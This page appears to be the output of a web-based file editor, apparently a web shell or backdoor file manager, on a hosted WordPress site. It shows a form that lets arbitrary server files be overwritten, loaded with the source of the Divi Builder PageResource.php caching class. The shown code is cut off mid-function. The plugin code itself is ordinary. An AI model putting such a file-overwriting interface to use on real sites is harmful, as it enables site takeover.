<h2>File Contents: /home/planet5/public_html/wp-content/plugins/divi-builder/core/components/PageResource.php</h2><form method='POST' action=''><input type='hidden' name='edit_file' value='/home/planet5/public_html/wp-content/plugins/divi-builder/core/components/PageResource.php'><textarea name='file_content' rows='10' cols='50'>&lt;?php

/**
 * Manages a frontend inline CSS or JavaScript resource.
 *
 * If possible, the resource will be served as a static file for better performance. It can be
 * tied to a specific post or it can be &#039;global&#039;. The resource can be output, static or inline,
 * to one of four locations on the page:
 *
 *   * `head-early`: right AFTER theme styles have been enqueued
 *   * `head`      : right BEFORE the theme and wp&#039;s inline custom css
 *   * `head-late` : right AFTER the theme and wp&#039;s inline custom css
 *   * `footer`    : in the footer
 *
 * The first time the class is instantiated, a static callback method will be registered for each
 * output location. Inside each callback, we&#039;ll iterate over any/all instances that are assigned
 * to the current output location and perform the following steps:
 *
 *   1. If a static file exists for the resource, go to the next step. Otherwise, try to create
 *      a static file for the resource if it has `data`. If it doesn&#039;t have `data`, assign it to
 *      the next output location and then move on to the next resource (continue).
 *   2. If a static file exists for the resource, enqueue it (via WP or manually) and then move on
 *      to the next resource (continue). If no static file exists, go to the next step.
 *   3. Output the resource inline.
 *
 * @since   2.0
 *
 * @package ET\Core
 */
class ET_Core_PageResource {
	/**
	 * Lock file.
	 *
	 * @var string[]
	 */
	protected static $_lock_file;

	/**
	 * Onload attribute for stylesheet output.
	 *
	 * @var string[]
	 */
	private static $_onload = &#039;&#039;;

	/**
	 * Output locations.
	 *
	 * @var string[]
	 */
	protected static $_output_locations = array(
		&#039;head-early&#039;,
		&#039;head&#039;,
		&#039;head-late&#039;,
		&#039;footer&#039;,
	);

	/**
	 * Resource owners.
	 *
	 * @var string[]
	 */
	protected static $_owners = array(
		&#039;divi&#039;,
		&#039;builder&#039;,
		&#039;epanel&#039;,
		&#039;epanel_temp&#039;,
		&#039;extra&#039;,
		&#039;core&#039;,
		&#039;bloom&#039;,
		&#039;monarch&#039;,
		&#039;custom&#039;,
		&#039;all&#039;,
	);

	/**
	 * Resource scopes.
	 *
	 * @var string[]
	 */
	protected static $_scopes = array(
		&#039;global&#039;,
		&#039;post&#039;,
	);

	/**
	 * Temp DIRS.
	 *
	 * @var array
	 */
	protected static $_temp_dirs = array();

	/**
	 * Resource types.
	 *
	 * @var string[]
	 */
	protected static $_types = array(
		&#039;style&#039;,
		&#039;script&#039;,
	);

	/**
	 * Whether or not we have write access to the filesystem.
	 *
	 * @var bool
	 */
	protected static $_can_write;

	/**
	 * Request ID.
	 *
	 * @var int
	 */
	protected static $_request_id;

	/**
	 * Request time.
	 *
	 * @var string
	 */
	protected static $_request_time;

	/**
	 * All instances of this class.
	 *
	 * @var ET_Core_PageResource[] {
	 *
	 *     @type ET_Core_PageResource $slug
	 * }
	 */
	protected static $_resources;

	/**
	 * All instances of this class organized by output location and sorted by priority.
	 *
	 * @var array[] {
	 *
	 *     @type array[] $location {@see self::$_output_locations} {
	 *
	 *         @type ET_Core_PageResource[] $priority {
	 *
	 *             @type ET_Core_PageResource $slug
	 *         }
	 *     }
	 * }
	 */
	protected static $_resources_by_location;

	/**
	 * All instances of this class organized by scope.
	 *
	 * @var array[] {
	 *
	 *     @type ET_Core_PageResource[] $post|$global {
	 *
	 *         @type ET_Core_PageResource $slug
	 *     }
	 * }
	 */
	protected static $_resources_by_scope;

	/**
	 * @var string
	 */
	public static $WP_CONTENT_DIR;

	/**
	 * @var string
	 */
	public static $current_output_location;

	/**
	 * @var ET_Core_Data_Utils
	 */
	public static $data_utils;

	/**
	 * @var \WP_Filesystem_Base|null
	 */
	public static $wpfs;

	/**
	 * The absolute path to the directory where the static resource will be stored.
	 *
	 * @var string
	 */
	public $base_dir;

	/**
	 * The absolute path to the static resource on the server.
	 *
	 * @var string
	 */
	public $path;

	/**
	 * Temp DIR.
	 *
	 * @var array
	 */
	public $temp_dir;

	/**
	 * The absolute URL through which the static resource can be downloaded.
	 *
	 * @var string
	 */
	public $url;

	/**
	 * The data/contents for/of the static resource sorted by priority.
	 *
	 * @var array
	 */
	public $data;

	/**
	 * Whether or not this resource has been disabled.
	 *
	 * @var bool
	 */
	public $disabled;

	/**
	 * Whether or not the static resource file has been enqueued.
	 *
	 * @var bool
	 */
	public $enqueued;

	/**
	 * Whether or not this resource is forced inline.
	 *
	 * @var bool
	 */
	public $forced_inline;

	/**
	 * @var string
	 */
	public $filename;

	/**
	 * Whether or not the resource has already been output to the page inline.
	 *
	 * @var bool
	 */
	public $inlined;

	/**
	 * The owner of this instance.
	 *
	 * @var string
	 */
	public $owner;

	/**
	 * The id of the post to which this resource belongs.
	 *
	 * @var string
	 */
	public $post_id;

	/**
	 * The priority of this resource.
	 *
	 * @var int
	 */
	public $priority;

	/**
	 * A unique identifier for this resource.
	 *
	 * @var string
	 */
	public $slug;

	/**
	 * The resource type (style|script).
	 *
	 * @var string
	 */
	public $type;

	/**
	 * The output location during which this resource&#039;s static file should be generated.
	 *
	 * @var string
	 */
	public $write_file_location;

	/**
	 * The output location where this resource should be output.
	 *
	 * @var string
	 */
	public $location;

	/**
	 * ET_Core_PageResource constructor
	 *
	 * @param string     $owner    The owner of the instance (core|divi|builder|bloom|monarch|custom).
	 * @param string     $slug     A string that uniquely identifies the resource.
	 * @param string|int $post_id  The post id that the resource is associated with or `global`.
	 *                             If `null`, {@link get_the_ID()} will be used.
	 * @param string     $type     The resource type (style|script). Default: `style`.
	 * @param string     $location Where the resource should be output (head|footer). Default: `head`.
	 */
	public function __construct( $owner, $slug, $post_id = null, $priority = 10, $location = &#039;head-late&#039;, $type = &#039;style&#039; ) {
		$this-&gt;owner    = self::_validate_property( &#039;owner&#039;, $owner );
		$this-&gt;post_id  = self::_validate_property( &#039;post_id&#039;, $post_id ? $post_id : et_core_page_resource_get_the_ID() );

		$this-&gt;type     = self::_validate_property( &#039;type&#039;, $type );
		$this-&gt;location = self::_validate_property( &#039;location&#039;, $location );

		$this-&gt;write_file_location = $this-&gt;location;

		$this-&gt;filename = sanitize_file_name( &quot;et-{$this-&gt;owner}-{$slug}-{$post_id}&quot; );
		$this-&gt;slug     = &quot;{$this-&gt;filename}-cached-inline-{$this-&gt;type}s&quot;;

		$this-&gt;data     = array();
		$this-&gt;priority = $priority;

		self::startup();

		$this-&gt;_initialize_resource();
	}

	/**
	 * Activates the class
	 */
	public static function startup() {
		if ( null !== self::$_resources ) {
			// Class has already been initialized
			return;
		}

		$time = (string) microtime( true );
		$time = str_replace( &#039;.&#039;, &#039;&#039;, $time );
		$rand = (string) mt_rand();

		self::$_request_time = $time;
		self::$_request_id   = &quot;{$time}-{$rand}&quot;;
		self::$_resources    = array();
		self::$data_utils    = new ET_Core_Data_Utils();

		foreach ( self::$_output_locations as $location ) {
			self::$_resources_by_location[ $location ] = array();
		}

		foreach ( self::$_scopes as $scope ) {
			self::$_resources_by_scope[ $scope ] = array();
		}
		// phpcs:enable

		self::$WP_CONTENT_DIR = self::$data_utils-&gt;normalize_path( WP_CONTENT_DIR );
		self::$_lock_file     = self::$_request_id . &#039;~&#039;;

		self::_register_callbacks();
		self::_setup_wp_filesystem();

		self::$_can_write = et_core_cache_dir()-&gt;can_write;
	}

	/**
	 * Cleanup and save
	 */
	public static function shutdown() {
		if ( ! self::$_resources || ! self::$_can_write ) {
			return;
		}

		// Remove any leftover temporary directories that belong to this request
		foreach ( self::$_temp_dirs as $temp_directory ) {
			if ( file_exists( $temp_directory . &#039;/&#039; . self::$_lock_file ) ) {
				@self::$wpfs-&gt;delete( $temp_directory, true );
			}
		}

		// Reset $_resources property; Mostly useful for unit test big request which needs to make
		// each test*() method act like it is different page request
		self::$_resources = null;

		if ( et_()-&gt;WPFS()-&gt;exists( self::$WP_CONTENT_DIR . &#039;/cache/et&#039; ) ) {
			// Remove old cache directory
			et_()-&gt;WPFS()-&gt;rmdir( self::$WP_CONTENT_DIR . &#039;/cache/et&#039;, true );
		}
	}

	protected static function _assign_output_location( $location, $resource ) {
		$priority_existed = isset( self::$_resources_by_location[ $location ][ $resource-&gt;priority ] );

		self::$_resources_by_location[ $location ][ $resource-&gt;priority ][ $resource-&gt;slug ] = $resource;

		if ( ! $priority_existed ) {
			// We&#039;ve added a new priority to the list, so put them back in sorted order.
			ksort( self::$_resources_by_location[ $location ], SORT_NUMERIC );
		}
	}

	/**
	 * Enqueues static file for provided script resource.
	 *
	 * @param ET_Core_PageResource $resource page resources.
	 */
	protected static function _enqueue_script( $resource ) {
		// Bust PHP&#039;s stats cache for the resource file to ensure we get the latest timestamp.
		clearstatcache( true, $resource-&gt;path );

		$can_enqueue = 0 === did_action( &#039;wp_print_scripts&#039; );
		$timestamp   = filemtime( $resource-&gt;path );

		if ( $can_enqueue ) {
			wp_enqueue_script( $resource-&gt;slug, set_url_scheme( $resource-&gt;url ), array(), $timestamp, true );
		} else {
			$timestamp = $timestamp ? $timestamp : ET_CORE_VERSION;

			printf(
				&#039;&lt;script id=&quot;%1$s&quot; src=&quot;%2$s&quot;&gt;&lt;/script&gt;&#039;, // phpcs:ignore WordPress.WP.EnqueuedResources.NonEnqueuedScript
				esc_attr( $resource-&gt;slug ),
				esc_url( set_url_scheme( $resource-&gt;url . &quot;?ver={$timestamp}&quot; ) )
			);
		}

		$resource-&gt;enqueued = true;
	}

	/**
	 * Enqueues static file for provided style resource.
	 *
	 * @param ET_Core_PageResource $resource
	 */
	protected static function _enqueue_style( $resource ) {
		if ( &#039;footer&#039; === self::$current_output_location ) {
			return;
		}

		// Bust PHP&#039;s stats cache for the resource file to ensure we get the latest timestamp.
		clearstatcache( true, $resource-&gt;path );

		$can_enqueue = 0 === did_action( &#039;wp_print_scripts&#039; );
		// reason: We do this on purpose when a style can&#039;t be enqueued.
		// phpcs:disable WordPress.WP.EnqueuedResources.NonEnqueuedStylesheet
		$template = &#039;&lt;link rel=&quot;stylesheet&quot; id=&quot;%1$s&quot; href=&quot;%2$s&quot; /&gt;&#039;;
		// phpcs:enable
		$timestamp = filemtime( $resource-&gt;path );

		if ( $can_enqueue ) {
			wp_enqueue_style( $resource-&gt;slug, set_url_scheme( $resource-&gt;url ), array(), $timestamp );
		} else {
			// reason: this whole file needs to be converted.
			// phpcs:disable ET.Sniffs.ValidVariableName.UsedPropertyNotSnakeCase
			$timestamp = $timestamp ?: ET_CORE_VERSION;
			$slug      = esc_attr( $resource-&gt;slug );
			$scheme    = esc_url( set_url_scheme( $resource-&gt;url . &quot;?ver={$timestamp}&quot; ) );
			$tag       = sprintf( $template, $slug, $scheme );
			$onload    = et_core_esc_previously( self::$_onload );
			// phpcs:enable

			$tag = apply_filters( &#039;et_core_page_resource_tag&#039;, $tag, $slug, $scheme, $onload );

			print( et_core_esc_previously( $tag ) );
		}

		$resource-&gt;enqueued = true;
	}

	/**
	 * Returns the next output location.
	 *
	 * @see self::$_output_locations
	 *
	 * @return string
	 */
	protected static function _get_next_output_location() {
		$current_index = array_search( self::$current_output_location, self::$_output_locations, true );

		if ( false === $current_index || ! is_int( $current_index ) ) {
			ET_Core_Logger::error( &#039;$current_output_location is invalid!&#039; );
		}

		$current_index += 1;

		return self::$_output_locations[ $current_index ];
	}

	/**
	 * Creates static resource files for an output location if needed.
	 *
	 * @param string $location {@link self::$_output_locations}.
	 */
	protected static function _maybe_create_static_resources( $location ) {
		self::$current_output_location = $location;

		// Disable for footer inside builder if page uses Theme Builder Editor to avoid conflict with critical CSS.
		if ( &#039;footer&#039; === $location &amp;&amp; et_core_is_fb_enabled() &amp;&amp; et_fb_is_theme_builder_used_on_page() ) {
			return false;
		}

		$sorted_resources = self::get_resources_by_output_location( $location );

		foreach ( $sorted_resources as $priority =&gt; $resources ) {
			foreach ( $resources as $slug =&gt; $resource ) {
				if ( $resource-&gt;write_file_location !== $location ) {
					// This resource&#039;s static file needs to be generated later on.
					self::_assign_output_location( $resource-&gt;write_file_location, $resource );
					continue;
				}

				if ( ! self::$_can_write ) {
					// The reason we don&#039;t simply check this before looping through resources and
					// bail if it fails is because we need to perform the output location assignment
					// in the previous conditional regardless (otherwise builder styles will break).
					continue;
				}

				if ( $resource-&gt;forced_inline || $resource-&gt;has_file() ) {
					continue;
				}

				$data = $resource-&gt;get_data( &#039;file&#039; );

				if ( empty( $data ) &amp;&amp; &#039;footer&#039; !== $location ) {
					// This resource doesn&#039;t have any data yet so we&#039;ll assign it to the next output location.
					$next_location = self::_get_next_output_location();

					$resource-&gt;set_output_location( $next_location );

					continue;
				}

				$force_write = apply_filters( &#039;et_core_page_resource_force_write&#039;, false, $resource );

				if ( ! $force_write &amp;&amp; empty( $data ) ) {
					continue;
				}

				// Make sure directory exists.
				if ( ! self::$data_utils-&gt;ensure_directory_exists( $resource-&gt;base_dir ) ) {
					self::$_can_write = false;
					return;
				}

				$can_continue = true;

				// Try to create a temporary directory which we&#039;ll use as a pseudo file lock
				if ( @mkdir( $resource-&gt;temp_dir, 0755 ) ) { //phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged -- Just ignore this since it&#039;s an internal use.
					self::$_temp_dirs[] = $resource-&gt;temp_dir;

					// Make sure another request doesn&#039;t delete our temp directory.
					$lock_file = $resource-&gt;temp_dir . &#039;/&#039; . self::$_lock_file;
					self::$wpfs-&gt;put_contents( $lock_file, &#039;&#039; );

					// Create the static resource file
					if ( ! self::$wpfs-&gt;put_contents( $resource-&gt;path, $data, 0644 ) ) {
						// There&#039;s no point in continuing
						self::$_can_write = $can_continue = false;
					} else {
						// Remove the temporary directory
						self::$wpfs-&gt;delete( $resource-&gt;temp_dir, true );

						/**
						 * Fires when the static resource file is created.
						 *
						 * @since 4.10.8
						 *
						 * @param object $resource The resource object.
						 */
						do_action( &#039;et_core_static_file_created&#039;, $resource );
					}
				} elseif ( file_exists( $resource-&gt;temp_dir ) ) {
					// The static resource file is currently being created by another request
					continue;
				} else {
					// Failed for some other reason. There&#039;s no point in continuing
					self::$_can_write = $can_continue = false;
					return;
				}

				if ( ! $can_continue ) {
					return;
				}

				if ( ! defined( &#039;DONOTCACHEPAGE&#039; ) ) {
					define( &#039;DONOTCACHEPAGE&#039;, true );
				}
			}
		}
	}

	/**
	 * Enqueues static files for an output location if available.
	 *
	 * @param string $location {@link self::$_output_locations}.
	 */
	protected static function _maybe_enqueue_static_resources( $location ) {
		$sorted_resources = self::get_resources_by_output_location( $location );

		foreach ( $sorted_resources as $priority =&gt; $resources ) {
			foreach ( $resources as $slug =&gt; $resource ) {
				if ( $resource-&gt;disabled ) {
					// Resource is disabled. Remove it from the queue.
					self::_unassign_output_location( $location, $resource );
					continue;
				}

				if ( $resource-&gt;forced_inline || ! $resource-&gt;url || ! $resource-&gt;has_file() ) {
					continue;
				}

				if ( &#039;style&#039; === $resource-&gt;type ) {
					self::_enqueue_style( $resource );
				} elseif ( &#039;script&#039; === $resource-&gt;type ) {
					self::_enqueue_script( $resource );
				}

				if ( $resource-&gt;enqueued ) {
					self::_unassign_output_location( $location, $resource );
				}
			}
		}
	}

	/**
	 * Outputs all non-enqueued resources for an output location inline.
	 *
	 * @param string $location {@link self::$_output_locations}.
	 */
	protected static function _maybe_output_inline_resources( $location ) {
		$sorted_resources = self::get_resources_by_output_location( $location );

		foreach ( $sorted_resources as $priority =&gt; $resources ) {
			foreach ( $resources as $slug =&gt; $resource ) {
				if ( $resource-&gt;disabled ) {
					// Resource is disabled. Remove it from the queue.
					self::_unassign_output_location( $location, $resource );
					continue;
				}

				$data = $resource-&gt;get_data( &#039;inline&#039; );

				$same_write_file_location = $resource-&gt;write_file_location === $resource-&gt;location;

				if ( empty( $data ) &amp;&amp; &#039;footer&#039; !== $location &amp;&amp; $same_write_file_location ) {
					// This resource doesn&#039;t have any data yet so we&#039;ll assign it to the next output location.
					$next_location = self::_get_next_output_location();
					$resource-&gt;set_output_location( $next_location );
					continue;
				} elseif ( empty( $data ) ) {
					continue;
				}

				printf(
					&#039;&lt;%1$s id=&quot;%2$s&quot;&gt;%3$s&lt;/%1$s&gt;&#039;,
					esc_html( $resource-&gt;type ),
					esc_attr( $resource-&gt;slug ),
					et_core_esc_previously( wp_strip_all_tags( $data ) )
				);

				if ( $same_write_file_location ) {
					// File wasn&#039;t created during this location&#039;s callback and it won&#039;t be created later
					$resource-&gt;inlined = true;
				}
			}
		}
	}

	/**
	 * Registers necessary callbacks.
	 */
	protected static function _register_callbacks() {
		$class = &#039;ET_Core_PageResource&#039;;

		// Output Location: head-early, right after theme styles have been enqueued.
		add_action( &#039;wp_enqueue_scripts&#039;, array( $class, &#039;head_early_output_cb&#039; ), 11 );

		// Output Location: head, right BEFORE the theme and wp&#039;s custom css.
		add_action( &#039;wp_head&#039;, array( $class, &#039;head_output_cb&#039; ), 99 );

		// Output Location: head-late, right AFTER the theme and wp&#039;s custom css.
		add_action( &#039;wp_head&#039;, array( $class, &#039;head_late_output_cb&#039; ), 103 );

		// Output Location: footer.
		add_action( &#039;wp_footer&#039;, array( $class, &#039;footer_output_cb&#039; ), 20 );

		// Always delete cached resources for a post upon saving.
		add_action( &#039;save_post&#039;, array( $class, &#039;save_post_cb&#039; ), 10, 3 );

		// Always delete cached resources for theme customizer upon saving.
		add_action( &#039;customize_save_after&#039;, array( $class, &#039;customize_save_after_cb&#039; ) );

		/*
		 * Always delete dynamic css when saving widgets.
		 * `widget_update_callback` fires on save for any of the present widgets,
		 * `delete_widget` fires on save for any deleted widget.
		 */
		add_filter( &#039;widget_update_callback&#039;, array( $class, &#039;widget_update_callback_cb&#039; ) );
		add_filter( &#039;delete_widget&#039;, array( $class, &#039;widget_update_callback_cb&#039; ) );
	}

	/**
	 * Initializes the WPFilesystem class.
	 */
	protected static function _setup_wp_filesystem() {
		// The wpfs instance will always exists at this point because the cache dir class initializes it beforehand
		self::$wpfs = $GLOBALS[&#039;wp_filesystem&#039;];
	}

	/**
	 * Unassign a resource from an output location.
	 *
	 * @param string               $location {@link self::$_output_locations}.
	 * @param ET_Core_PageResource $resource
	 */
	protected static function _unassign_output_location( $location, $resource ) {
		unset( self::$_resources_by_location[ $location ][ $resource-&gt;priority ][ $resource-&gt;slug ] );
	}

	protected static function _validate_property( $property, $value ) {
		$valid_values = array(
			&#039;location&#039; =&gt; self::$_output_locations,
			&#039;owner&#039;    =&gt; self::$_owners,
			&#039;type&#039;     =&gt; self::$_types,
		);

		switch ( $property ) {
			case &#039;path&#039;:
				$value    = et_()-&gt;normalize_path( realpath( $value ) );
				$is_valid = et_()-&gt;starts_with( $value, et_core_cache_dir()-&gt;path );
				break;
			case &#039;url&#039;:
				$base_url = et_core_cache_dir()-&gt;url;
				$is_valid = et_()-&gt;starts_with( $value, set_url_scheme( $base_url, &#039;http&#039; ) );
				$is_valid = $is_valid ? $is_valid : et_()-&gt;starts_with( $value, set_url_scheme( $base_url, &#039;https&#039; ) );
				break;
			case &#039;post_id&#039;:
				$is_valid = &#039;global&#039; === $value || &#039;all&#039; === $value || is_numeric( $value );
				break;
			default:
				$is_valid = isset( $valid_values[ $property ] ) &amp;&amp; in_array( $value, $valid_values[ $property ] );
				break;
		}

		return $is_valid ? $value : &#039;&#039;;
	}

	/**
	 * Whether or not we are able to write to the filesystem.
	 *
	 * @return bool
	 */
	public static function can_write_to_filesystem() {
		return ET_Core_Cache_Directory::instance()-&gt;can_write;
	}

	/**
	 * Output Location: footer
	 * {@see &#039;wp_footer&#039; (20) Allow third-party extensions some room to do what they do}
	 */
	public static function footer_output_cb() {
		self::_maybe_create_static_resources( &#039;footer&#039; );
		self::_maybe_enqueue_static_resources( &#039;footer&#039; );
		self::_maybe_output_inline_resources( &#039;footer&#039; );
	}

	/**
	 * Returns the absolute path to our cache directory.
	 *
	 * @since 4.0.8     Removed `$path_type` param b/c cache directory might not be located under wp-content.
	 * @since 3.0.52
	 *
	 * @return string
	 */
	public static function get_cache_directory() {
		return et_core_cache_dir()-&gt;path;
	}

	/**
	 * Returns all current resources.
	 *
	 * @return array {@link self::$_resources}
	 */
	public static function get_resources() {
		return self::$_resources;
	}

	/**
	 * Returns the current resources for the provided output location, sorted by priority.
	 *
	 * @param string $location The desired output location {@see self::$_output_locations}.
	 *
	 * @return array[] {
	 *
	 *     @type ET_Core_PageResource[] $priority {
	 *
	 *         @type ET_Core_PageResource $slug Resource.
	 *         ...
	 *     }
	 *     ...
	 * }
	 */
	public static function get_resources_by_output_location( $location ) {
		return self::$_resources_by_location[ $location ];
	}

	/**
	 * Returns the current resources for the provided scope.
	 *
	 * @param string $scope The desired scope (post|global).
	 *
	 * @return ET_Core_PageResource[]
	 */
	public static function get_resources_by_scope( $scope ) {
		return self::$_resources_by_scope[ $scope ];
	}

	/**
	 * Output Location: head-early
	 * {@see &#039;wp_enqueue_scripts&#039; (11) Should run right after the theme enqueues its styles.}
	 */
	public static function head_early_output_cb() {
		self::_maybe_create_static_resources( &#039;head-early&#039; );
		self::_maybe_enqueue_static_resources( &#039;head-early&#039; );
		self::_maybe_output_inline_resources( &#039;head-early&#039; );
	}

	/**
	 * Output Location: head
	 * {@see &#039;wp_head&#039; (99) Must run BEFORE the theme and WP&#039;s custom css callbacks.}
	 */
	public static function head_output_cb() {
		self::_maybe_create_static_resources( &#039;head&#039; );
		self::_maybe_enqueue_static_resources( &#039;head&#039; );
		self::_maybe_output_inline_resources( &#039;head&#039; );
	}

	/**
	 * Output Location: head-late
	 * {@see &#039;wp_head&#039; (103) Must run AFTER the theme and WP&#039;s custom css callbacks.}
	 */
	public static function head_late_output_cb() {
		self::_maybe_create_static_resources( &#039;head-late&#039; );
		self::_maybe_enqueue_static_resources( &#039;head-late&#039; );
		self::_maybe_output_inline_resources( &#039;head-late&#039; );
	}

	/**
	 * {@see &#039;widget_update_callback&#039;}
	 *
	 * @param array $instance Widget settings being saved.
	 */
	public static function widget_update_callback_cb( $instance ) {
		self::remove_static_resources( &#039;all&#039;, &#039;all&#039;, false, &#039;dynamic&#039; );
		return $instance;
	}

	/**
	 * {@see &#039;customize_save_after&#039;}
	 *
	 * @param WP_Customize_Manager $manager
	 */
	public static function customize_save_after_cb( $manager ) {
		self::remove_static_resources( &#039;all&#039;, &#039;all&#039; );
	}

	/**
	 * {@see &#039;save_post&#039;}
	 *
	 * @param int     $post_id
	 * @param WP_Post $post
	 * @param bool    $update
	 */
	public static function save_post_cb( $post_id, $post, $update ) {
		// In Dynamic CSS, we parse the layout content for generating styles and store it under the `object_id`, so clearing
		// only the layout assets won&#039;t update the page style if we made any changes to the layout/global modules etc.
		// Hence, we need to clear all static resources when we update a layout.
		// Also, we should only clear the cache if the layout being saved is a global module/row/section.
		if ( &#039;et_pb_layout&#039; === $post-&gt;post_type ) {
			$taxonomies     = get_taxonomies( [ &#039;object_type&#039; =&gt; [ &#039;et_pb_layout&#039; ] ] );
			$tax_to_clear   = array( &#039;scope&#039;, &#039;layout_type&#039; );
			$types_to_clear = array( &#039;module&#039;, &#039;row&#039;, &#039;section&#039; );

			$scope_terms  = get_the_terms( $post_id, &#039;scope&#039; );
			$layout_terms = get_the_terms( $post_id, &#039;layout_type&#039; );

			if ( ! empty( $scope_terms ) &amp;&amp; ! empty( $layout_terms ) ) {
				$scope_terms       = wp_list_pluck( $scope_terms, &#039;slug&#039; );
				$layout_terms      = wp_list_pluck( $layout_terms, &#039;slug&#039; );
				$is_global         = in_array( &#039;global&#039;, $scope_terms, true );
				$clearable_modules = array_intersect( $types_to_clear, $layout_terms );
				$remove_resource   = $is_global &amp;&amp; ! empty( $clearable_modules );

				foreach ( $taxonomies as $taxonomy ) {
					if ( in_array( $taxonomy, $tax_to_clear, true ) &amp;&amp; $remove_resource ) {
						$post_id = &#039;all&#039;;
						break;
					}
				}
			}
		}
		self::remove_static_resources( $post_id, &#039;all&#039; );
	}

	/**
	 * Remove static resources for a post, or optionally all resources, if any exist.
	 *
	 * @param string $post_id id of post.
	 * @param string $owner owner of file.
	 * @param bool   $force remove all resources.
	 * @param string $slug file slug.
	 */
	public static function remove_static_resources( $post_id, $owner = &#039;core&#039;, $force = false, $slug = &#039;all&#039; ) {
		if ( defined( &#039;DOING_AUTOSAVE&#039; ) &amp;&amp; DOING_AUTOSAVE ) {
			return;
		}

		if ( ! wp_doing_cron() &amp;&amp; ! et_core_security_check_passed( &#039;edit_posts&#039; ) ) {
			return;
		}

		if ( ! self::can_write_to_filesystem() ) {
			return;
		}

		if ( ! self::$data_utils ) {
			self::startup();
		}

		self::do_remove_static_resources( $post_id, $owner, $force, $slug );
	}

	/**
	 * Remove static resources action.
	 *
	 * @param string $post_id id of post.
	 * @param string $owner owner of file.
	 * @param bool   $force remove all resources.
	 * @param string $slug file slug.
	 */
	public static function do_remove_static_resources( $post_id, $owner = &#039;core&#039;, $force = false, $slug = &#039;all&#039; ) {
		$post_id = self::_validate_property( &#039;post_id&#039;, $post_id );
		$owner   = self::_validate_property( &#039;owner&#039;, $owner );
		$slug    = sanitize_key( $slug );

		if ( &#039;&#039; === $owner || &#039;&#039; === $post_id ) {
			return;
		}

		$_post_id = &#039;all&#039; === $post_id ? &#039;*&#039; : $post_id;
		$_owner   = &#039;all&#039; === $owner ? &#039;*&#039; : $owner;
		$_slug    = &#039;all&#039; === $slug ? &#039;*&#039; : $slug;

		$cache_dir = self::get_cache_directory();

		$files = array_merge(
			// Remove any CSS files missing a parent folder.
			(array) glob( &quot;{$cache_dir}/et-{$_owner}-*&quot; ),
			// Remove CSS files for individual posts or all posts if $post_id set to &#039;all&#039;.
			(array) glob( &quot;{$cache_dir}/{$_post_id}/et-{$_owner}-{$_slug}*&quot; ),
			// Remove CSS files that contain theme builder template CSS.
			// Multiple directories need to be searched through since * doesn&#039;t match / in the glob pattern.
			(array) glob( &quot;{$cache_dir}/*/et-{$_owner}-{$_slug}-*tb-{$_post_id}*&quot; ),
			(array) glob( &quot;{$cache_dir}/*/*/et-{$_owner}-{$_slug}-*tb-{$_post_id}*&quot; ),
			(array) glob( &quot;{$cache_dir}/*/*/*/et-{$_owner}-{$_slug}-*tb-{$_post_id}*&quot; ),
			(array) glob( &quot;{$cache_dir}/*/et-{$_owner}-{$_slug}-*tb-for-{$_post_id}*&quot; ),
			(array) glob( &quot;{$cache_dir}/*/*/et-{$_owner}-{$_slug}-*tb-for-{$_post_id}*&quot; ),
			(array) glob( &quot;{$cache_dir}/*/*/*/et-{$_owner}-{$_slug}-*tb-for-{$_post_id}*&quot; ),
			// Remove Dynamic CSS files for categories, tags, authors, archives, homepage post feed and search results.
			(array) glob( &quot;{$cache_dir}/taxonomy/*/*/et-{$_owner}-dynamic*&quot; ),
			(array) glob( &quot;{$cache_dir}/author/*/et-{$_owner}-dynamic*&quot; ),
			(array) glob( &quot;{$cache_dir}/archive/et-{$_owner}-dynamic*&quot; ),
			(array) glob( &quot;{$cache_dir}/search/et-{$_owner}-dynamic*&quot; ),
			(array) glob( &quot;{$cache_dir}/notfound/et-{$_owner}-dynamic*&quot; ),
			(array) glob( &quot;{$cache_dir}/home/et-{$_owner}-dynamic*&quot; ),
			// WP Templates and Template Parts.
			(array) glob( &quot;{$cache_dir}/*/et-{$_owner}-{$_slug}-*wpe-{$_post_id}*&quot; ),
			(array) glob( &quot;{$cache_dir}/*/*/et-{$_owner}-{$_slug}-*wpe-{$_post_id}*&quot; ),
			(array) glob( &quot;{$cache_dir}/*/*/*/et-{$_owner}-{$_slug}-*wpe-{$_post_id}*&quot; )
		);

		self::_remove_files_in_directory( $files, $cache_dir );

		// Remove empty directories.
		self::$data_utils-&gt;remove_empty_directories( $cache_dir );

		// Clear cache managed by 3rd-party cache plugins.
		$post_id = ! empty( $post_id ) &amp;&amp; absint( $post_id ) &gt; 0 ? $post_id : &#039;&#039;;

		et_core_clear_wp_cache( $post_id );

		// Purge the module features cache.
		if ( class_exists( &#039;ET_Builder_Module_Features&#039; ) ) {
			if ( ! empty( $post_id ) ) {
				ET_Builder_Module_Features::purge_cache( $post_id );
			} else {
				ET_Builder_Module_Features::purge_cache();
			}
		}

		// Purge the google fonts cache.
		if ( empty( $post_id ) &amp;&amp; class_exists( &#039;ET_Builder_Google_Fonts_Feature&#039; ) ) {
			ET_Builder_Google_Fonts_Feature::purge_cache();
		}

		// Purge the dynamic assets cache.
		if ( empty( $post_id ) &amp;&amp; class_exists( &#039;ET_Builder_Dynamic_Assets_Feature&#039; ) ) {
			ET_Builder_Dynamic_Assets_Feature::purge_cache();
		}

		$post_meta_caches = array(
			&#039;et_enqueued_post_fonts&#039;,
			&#039;_et_dynamic_cached_shortcodes&#039;,
			&#039;_et_dynamic_cached_attributes&#039;,
			&#039;_et_builder_module_features_cache&#039;,
		);

		// Clear post meta caches.
		foreach ( $post_meta_caches as $post_meta_cache ) {
			if ( ! empty( $post_id ) ) {
				delete_post_meta( $post_id, $post_meta_cache );
			} else {
				delete_post_meta_by_key( $post_meta_cache );
			}
		}

		// Set our DONOTCACHEPAGE file for the next request.
		self::$data_utils-&gt;ensure_directory_exists( $cache_dir );
		self::$wpfs-&gt;put_contents( $cache_dir . &#039;/DONOTCACHEPAGE&#039;, &#039;&#039; );

		if ( $force ) {
			delete_option( &#039;et_core_page_resource_remove_all&#039; );
		}

		/**
		 * Fires when the static resources are removed.
		 *
		 * @since 4.21.1
		 *
		 * @param mixed $post_id The post ID.
		 */
		do_action( &#039;et_core_static_resources_removed&#039;, $post_id );
	}

	/**
	 * Removes a list of files from the designated directory.
	 *
	 * @param array[] $files     List of patterns to match.
	 * @param string  $cache_dir Cache directory.
	 */
	protected static function _remove_files_in_directory( $files, $cache_dir ) {
		foreach ( $files as $file ) {
			$file = self::$data_utils-&gt;normalize_path( $file );

			if ( ! et_()-&gt;starts_with( $file, $cache_dir ) ) {
				// File is not located inside cache directory so skip it.
				continue;
			}

			if ( is_file( $file ) ) {
				self::$wpfs-&gt;delete( $file );
